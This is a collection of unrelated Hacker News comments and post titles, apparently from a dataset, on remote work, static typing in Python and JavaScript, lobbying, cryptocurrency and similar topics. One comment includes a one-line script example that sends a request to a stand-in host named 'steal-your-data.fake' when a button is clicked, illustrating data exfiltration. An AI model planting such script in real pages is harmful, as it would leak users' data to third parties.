skysight-inc/HackerNews huggingface dataset:
While yes, these are pretty simple statements, most of them only being 2-3 operations, I think you might be interested to know that not every programming curriculum even covers "how computers store data". I know a fair few programmers who came from backgrounds that either never touch the difference between an integer and float, or if they did, it was only to the point of "this one stores fractions, this one doesn't".

For example, no python course for scientists is going to go on in-depth about the difference between big and small endian - it just doesn't matter when you're trying to make a simple graphical model, it's far too low level. Binary operators work and are useful in JavaScript, but how many 6 week frontend bootcamps are going to cover them?

What I'm getting to here is that I don't think you can just dismiss things like this because your coding background covered them - there's some pretty clear gaps in a lot of peoples' knowledge and educating them is likely only a good thing.
It's funny how with all the job sites and modern tools we still live in the world where employees and employers can't find each other. I'm the CEO of a US based startup, but we're hiring everywhere. We actually have a few digital nomads at the company. Somehow we still have troubles finding more talent.

There are a few job boards dedicated to digital nomads, but the volume there is surprisingly low.
Is anyone required to honor DNT requests? What happens if they don't?
Emacs for Writers (2015) [video]
Those aren't equivalent concepts. A moat can refer to any number of strategies to protect your business from competition.
Worked from office..never again.

Stuck in traffic, too many distractions, co-workers complains and politics. If I don't want to work from home I can go to a cafe or travel while work. Never mix socializing with work.
It does beg the question: why not use a statically typed language in the first place?
Apple is not making money from links.
I think the title is misleading, since its' just the author that thinks there is a problem with the "Bus Test." I thought it was going to lead to a study or even the results of some forum or panel. As onion2k says, if you can't get people to buy into your idea, then it fails the Bus Test and should not be part of the project.
The initial video doesn't tell me anything about what project5050 is about. The following text was below the fold for me:

> Join CS50's own Hailey James '19 as she meets with CS50 alumni to talk about struggles they faced in Computer Science.

Seems important to mention in the video.
> If you want to argue they'll lobby, manipulate and bribe less than average among peer-firms, well, that argument could be made.

You’re begging the question by assuming that this conduct is what keeps “peer firms” big. That’s the point in dispute.

I’d say that there is good reason to believe why that isn’t true. Walmart spent just $7 million on lobbying last year. It’s a company with $500 billion in revenue. Does it make logical sense to infer that the $7 million in lobbying is what keeps the $500 billion spigot flowing? Much smaller competitors could out-lobby Walmart, raising the market price of corruption. Why doesn’t that happen—with hundreds of billions of dollars on the line?

People take as a shibboleth that lobbying is corruption and corruption keeps big companies big. But that flies in the face of the actual data.
Perhaps the question is not where you belong but what dent do you want to make in the world? For instance, say you wanted to get humans on Mars, then you'd most likely want to work for SpaceX.
No Muslim hipsters growing a beard in the Netherlands
Making several smaller payments in order to sidestep reporting requirements is called "structuring" and, duh, is illegal. In other news: Grabbing another person's hand and using it to slap them in the face is actually still just you committing assault.
> The UK is what is called an aristocratic republic*

It's a constitutional monarchy based on a parliamentary system.
Video on the forensics investigation:

https://youtube.com/watch?v=6cE9Ud6GgE4
Ctrl-Alt-V for Office and its ilk. My tip is to always set to paste without formatting by default, and use the shortcut when you want to paste with formatting, because the fancy format you want is usually pre-selected on the menu, but the plain text format never is.
With flow, you just gradually add typings and fix the resulting type errors. It's way easier to slowly integrate types file by file rather than rewriting everything.

Moreover I think that at the time there were no statically typed languages that targeted web.
Noprocrast comes to YouTube!
The point of cryptocurrency to some people is decentralization. The point of cryptocurrency to the average user is whatever they can do with it.
Fellow contractor (non-remote) here. First if it makes you feel better I piss away 40m each way on a commute to the client site, and that's on pub transport (a car would take longer). Time is money and that time is lost.

Second are you sure you're compensated sufficiently? You should be able to take time off with that money you earned?
While I doubt this applies to others, my issue here is that my primary work computer is running Windows.
PEP-484 Type Hints are for Python 3.5+, sorry if you are running on Python 2.x like majority of the Google python codebase does.

Update: for the downvoters, the PEP listed the python version for 3.5 here https://www.python.org/dev/peps/pep-0484/. Yes it does have a python 2.7 section but after Python 2.7 is discontinued pretty sure Python core team won't support type hints on 2.x. On top of that, not to mention the fact the type hint suggested on 2.x (as a comment) is different from the official 3.x syntax.
Has anyone tried adding this to Bazel as a test?
“Making people feel good about themselves“ is also a skill. It’s useful in almost all aspects of life. Your fault was maybe interpreting the article’s concept of “what you can do for others” a bit too narrowly.
So: DNS, NNTP, IMAP, RSS?

Xor, <whoosh>, as the joke flies over my head.
Study bibles are also very helpful. Extensive footnotes, culture commentary, historical background, etc. put things into perspective.
You're missing my point. I'm saying there's no natural ecosystem for honey bee pollination in the US because there are no natural honey bees in the US. They're not a native species.
> Only displays the information you need

If you need ads in the start menu, sure.
Even without you explicitly defining types, there is already quite a bit such tools can help you with since they usually come with type annotations for the standard library (or equivalent) of their languages.
Thank you for generously sharing this! I wonder if we should have an HN contractor github wiki or something similar.
The Ars Technica review stated "It's community supported and seems to be active so far."
Too real...
Cash is the only way to keep one's spending private. (Anything else involves some kind of ID which, even if anonymous, can be traced back to you eventually.)
The Power of Habit

The Life Changing Magic of Tidying Up

The Inner Game of Tennis
May be they thought that it was strange, but is it really their job to report it?
Feynman was such an interesting character!

Many will write about his many significant contributions to our understanding. And his antics.

I want to say I appreciate his infectious love of learning and exploring. Almost anyone benefits from just knowing something about how he was as a person.

Go forth boldly. Work for it. Laugh along the way. Share, receive, grow, play, love.

Beautiful person.
> Exactly, most people don't realize this simple strategy and worship at the altar of Google for giving "free" software.

Yeah, people should stop idealizing and worshiping companies. Apple is only pursuing "privacy" because it tried and failed miserably at user monetization, but it won't think twice about handing over all your data to the government (like they did in China) if that's the best business options.

They're all companies, they're here to make a profit.

That's one reason why I find it easier to trust companies than to trust governments. I know exactly what companies want, so I can predict how they'll act.

Companies are that "friend" who will always get money from your wallet, whenever they have a chance. Governments are those friends who swear they are on your side and want to help and protect you, but will sneak their fingers into your wallet whenever you're not looking.
Exactly, if we’re in the “how would you solve this problem” or “tell me a time when” phase, knock yourself out and be assertive.

When I’m giving my 10 second description of my phone screen process works and I get interrupted to be told “this phone screen will be done differently” ...
That’s what I am thinking of. These days people use goto only to reduce spaghetti code in very specific use cases in C and nothing more.
Hm... the way I remember this feature (forgot where it was) is that your custom image is stored in your browser (localstorage?), not on the remote site. So when you see your image, you know it's the same origin. (E.g. not a similar URL with two letters swapped, I guess.)
Java has targeted the web since forever. Ditto for C#.
It's interesting how static type systems are slowly gaining more adoption now by being bolted on to popular dynamic languages. It feels like a weird approach compared to using a language that was designed from the ground up to have a strong static type system but it's practical in terms of easing people into it.
Or it could backfire horribly and create populations of insects that are immune to their protections:

https://en.wikipedia.org/wiki/Genetically_modified_maize#Res...
Show HN: Modular Webpack Build Recipes System
I've found most of my work remote through recruiters. It's a great antidote to the recruiter cold calls too. Just tell them you do work remote only and eventually they start finding them for you. You really have to stick to your guns though.
payphone? also, can't you call as a blocked number?
That mean nothing. You could still do:

<script>$('.fake-button').on('click', function(){$.ajax({url: 'http://www.steal-your-data.fake'})})</script>
By reading this content, you agree to record yourself doing 10 jumping jacks and reply to this message with the link to the video. If you don’t agree to these terms, you may not load this content or read it.
I may be alone in this but as the one doing the hiring I strongly prefer individual freelancers who use their real names. Fraud is a very real problem on these platforms.
Does this comply with the type hinting format outlined in Python 3's typing module? [1]

[1] https://docs.python.org/3/library/typing.html#module-typing
I've made the opposite jump to you. I recently switched stacks and moved to a company that almost exclusively uses MBP's and OSX. To make matters worse, my first time using a Mac in anger was my first day on the job.

A few months later, and I'm fine with Macs. I'd prefer a Linux box, but I'm productive enough to not stand out, and I'm comfortable enough with some of the shortcuts to not feel stupid.

My advice to you is to stick with Windows, and to use it as a learning experience. Once you've got the standard tools set up, and feel productive in WSL, Cmder and similar recommended tools you'll probably wonder why you were so worried in the first place. You'll lose all the tools you knew and loved, but you'll pick up new ones.

On the hardware front, I'm a very happy Surface Book user and if budget is no concern I'd recommend that. In terms of form and power it's the closest in quality I've found to a MBP.
I'm curious what the proponents of dynamic typing over static typing think about the recent push towards adding type systems to the two biggest dynamic languages out there: Python and JS.
Is this usually someone writes a comment related to your field, you find it insightful, check their profile and it goes from there?

Or is it usually started by someone's "Show HN" post?

I'm sure these generalizations are too broad.
Anyone know how this project's capabilities compare the the PEP-484 checking built-in to IDEA/PyCharm? That implementation goes "above and beyond" inferring types based on use when there's no explicit annotations. I'm wondering if other projects are doing that kind of thing.
There is an interesting experiment in the Bitcoin (Cash) camp called Memo.cash, which mimics early Twitter using Bitcoin's blockchain. Posts need to spend a few satoshis to be posted and you cal also tip others. Pretty neat!
I like the book Information Rules by Shapiro and Varian as a review of these kinds of concepts in general. I don't think it is necessary to even view these topics as strategy, to a certain extent it is just the nature of the incentives and there will be a tendency for things to work out along these lines. Here is a snapshot of the table of contents, from this it should be pretty clear if it is interesting to you: https://imgur.com/a/2yU6OpA
More accidents happen at home for the same reason more car accidents happen close to home...that's where the people are often spending time.
well, there's also Monero
Yea. Overly paranoid. You guys were surely messing with him all the time. The paranoia was probably justified.

Edit: At one of my jobs I had a coworker that put a program he wrote himself on my computer that slowly ate up cpu cycles until the machine seized up and froze. I always carefully locked my machine and out of "paranoia" I had usb autoplay disabled. That was long before this became standard practice in the workplace. He got it onto my computer remotely by exploiting a zero day flaw he had read about in the vmware driver at the time. Which I was using to get actual work done while he was sitting idly by. He thought it was hilarious. I was let go about a month later when I completed all of my tasks ahead of the delivery date. He ended up getting promoted to a senior position by accomplishing nothing and playing pranks.

At another job, some coworkers impersonated my boss by signing up for a google account with his real name and using that to register to the internal business chat system which apparently allowed that. And, then used it to yell at me with profanity that I wasn't working hard. It led to me writing a polite email to my actual boss stating that I was working hard and the profanity wasn't professional or appreciated. I ended up getting terminated over it. They're still there.
that one by Marcus Aurelius, many of the ones by Erich Fromm
> The only real example I can think of is buying a car

Argument from personally circumscribed imagination. Not really an argument at all.
In my last job I did 1-3 days WFH per week.

I was often laying down on my sofa, occasionally sitting at a desk. Interestingly I usually managed to cope with a small laptop screen. But to be fair I tried to schedule the time where I really needed 2 screens to be on the office days or plug it in. Never had a dedicated desk, had to make room on my personal desk. (For me development work more often needs a "proper" desk setup, whereas ops and debugging go easily even on a 12.5" screen)

Distractions.. well, mostly not - but no kids and no pets. With other people around I could tone it down to "a lot less interruptions per day than in the office", but not always zero.

And wow about the network disruptions, I've always had more of those at work than at home :P

The downs were: too lazy to cook a proper meal for myself, so usually frozen pizza or something quick. No coworkers around (I tend to work for/stay at companies where I like interacting with the people.)

The ups were: no 2x45min commute, a lot less interruptions.
Instagram actually has a program for stubbing existing code called MonkeyType. It requires running your code to collect the data, and then after your run finishes you can then apply the new inferred types to your program.
Didn’t Siraj Raval make something like this in his book on dApps?
It’s much more deep and interesting than the tawdry title suggests.
By target web, I meant compile to js with good interop. I.e. no languages like elm, purescript, reason, ghcjs, kotlin, etc.
Lots of anti in this thread, so I don't mean to pile it on. But... a new browser is the wrong UX to develop an ecosystem of apps.

It needs to be an API, that developers can use existing platforms (current browsers, mobile and native apps) to build their apps. Users aren't going to care enough about decentralized data to change their behavior.
> Recruiters suffer from the fact that they are salespeople ...

reminds me of the real estate agent trick of posting a listing for a home that's too good to be true. when a potential buyer calls that agent, the agent says the home is no longer available, but asks "are you currently working with an agent?"
So you're saying it can be centralized too, as long as TOS says users keep owning their data?

But even in decentralized model, you may think you 'own' you data (as in TOS), but surely it cannot just reside on computing resources you have full control over. Now if you lose your passwords/keys, who do you contact to take your content down, grant you access to it again? What is an arbitration process to decide that you're you, not some impostor?
As one of the original eBird developers I am happy to see all the progress it has made over the years. The Ornithology Lab at Cornell is doing some great work helping folks understand the roll birds play in our ecosystem.
Yeah I should have been clear this wasn't for passwords at all, ever, this was/is only for other kinds of PII
Want Developers? Copy Android Studio
To me it looked like they aught to just be running google calendar on an iPad or something.
If you're going to do illegal stuff, I don't think carrying around a lot cash if going to weigh too heavily on your mind. You're either going to carry it in a car or have a person carry it for you.
Use WhatsApp from the command line
Early Stage Growth Ops with Clearbit, HackerRank, and LaunchDarkly
First the new tools coming in Android P, now this. Interesting to see how serious Google appears to be about helping people better understand how they use their time.
My favourite professor: “I’m glad you found my paper on Chaos Theory interesting but my Numerical Methods class is not the place to discuss it. Please stop interrupting me.”
The FBI itself admitted that nothing he wrote could be characterized as a threat. However vitriolic, non-threatening speech should never, in a free society, trigger law enforcement action. And note that the gun-possession charge was evidently flimsy enough that a judge dismissed it before trial.
>there is already quite a bit such tools

example?
Several things can be complements, it just depends on how you perceive them.

In Netscape's case, their strategy shifted from selling web browsers to consumers in the hope of commoditizing the OS [0] to selling more web servers to businesses, after Microsoft made it impossible for them to compete[1] with IE which was offered for free.

[0] https://en.wikipedia.org/wiki/Netscape#History_of_the_Netsca...

[1] https://www.cnet.com/news/netscape-cuts-prices-on-retail-pro...
You don't have to store the data on the blockchain, you can store a pointer, to a storage solution like IPFS, and you have the control of what to show and to whom.
I miss it a bit, but the desktop environment scene is too fragmented.

GNOME Shell is pretty good, and hopefully it can get even better with contributions from Canonical and the larger Ubuntu community.
Computing Reviews, the leading online review service for computing literature
A Mathematician's Apology, by G.H. Hardy

https://www.math.ualberta.ca/mss/misc/A%20Mathematician%27s%...
I was hired to my current (remote) job literally the week my son was born; he and my job are both 6.5 years old. I worked from home (with headphones) until he started walking, at which point my job paid for a spot in a local coworking space. He's now in kindergarten and has a great afterschool program, so I'm mostly back at home now. My wife also works from home, and we go to a local coffeehouse a couple times a week. When my son comes home from school he plays with the other kids in the apartment and I put on my headphones.

I do all of my work in Emacs, Terminator, and browsers in Debian with OpenBox on a Thinkpad x220. I've tried multi-monitor setups but I always go back to the laptop screen. Partly this is because I work in multiple locations, but also because I prefer switching windows or workspaces to navigating among windows in a huge screen, though I do often split the screen into halves. I do much of my typing on a mechanical keyboard - a Happy Hacking Pro 2. I have a simple Ubiquiti firewall and wifi setup hooked up to basic DSL, which is the only option in our building. This works unless I need to upload something, in which case I either exercise patience or go to the coworking space or a coffeehouse. For voice comms, I can't count on apps working with Linux but there's always an app for my Android phone.

At home my physical setup is an Ikea Fredrik desk and an Aeron chair in a corner of the living room. The desk is highly configurable; initially a standing desk it's now readjusted for sitting. I don't recommend this desk unless you have short legs - an Ikea Jerker would be better for my physique - and lately I've been moving my Aeron to the kitchen table. I have a pair of Audio-Technica ATH-M50x studio headphones for when I need to focus.

I get exercise by walking my son to school, taking occasional walks, and I have a set of small weights. I get up at least once an hour to walk around the room, get a glass of water, whatever. I could definitely exercise more.

Regarding focus, I deal with this by having multiple workspaces and browsers for different tasks. Workspace 1 is personal mail/chat/news/blogs in Firefox. Workspace 2 is personal projects. Workspace 3 is work mail/Slack and GitHub Issues in Chromium. I spent most of my time in Workspace 4 with Terminator, Emacs, and Chromium. Having personal stuff several workspaces away is a mild deterrant to looking at it. If it's really distracting to I'll "pkill firefox", which removes the distraction for now; I can go back to those tabs next time I start Firefox. Certain types of music help me focus: Bach, 60s cool jazz, 1970s Steve Reich, techno and electronica, and Radiohead. I accept that my mind is going to drift sometimes. I find that I often have useful thoughts and ideas when I step away from my computer for a bit.

My setup is very basic and simple. I don't need a whole lot in order to do my work and I like that I can do my work in different places.
Yes! Pyre adopts types from the typing module, and relies on typeshed[1] to infer types for standard library functions.

[1]: https://github.com/python/typeshed
How Facebook binds – and shatters – communities
Right but it's not really apocryphal because apocryphal doesn't connote or denote stereotypical, proverbial, cliche, conventional wisdom, caricature, etc. Salespeople playing golf with customers to close enterprise sales is not some uncertain thing that has reached us through dubious sources.
'Beat Saber' Is Now the Highest Rated Title on Steam
> Physical currency is going away in our lifetimes.

I don't think so. There are plenty of people that like to hoard their physical currency. There are plenty of people that don't trust "digital" currency (or other people having control of their money). I think it will be many decades before physical currency goes away - if it ever does.
Looks great ! Just hope your product or Stripe would provide payment system to more countries as soon as possible. Looking forward to join.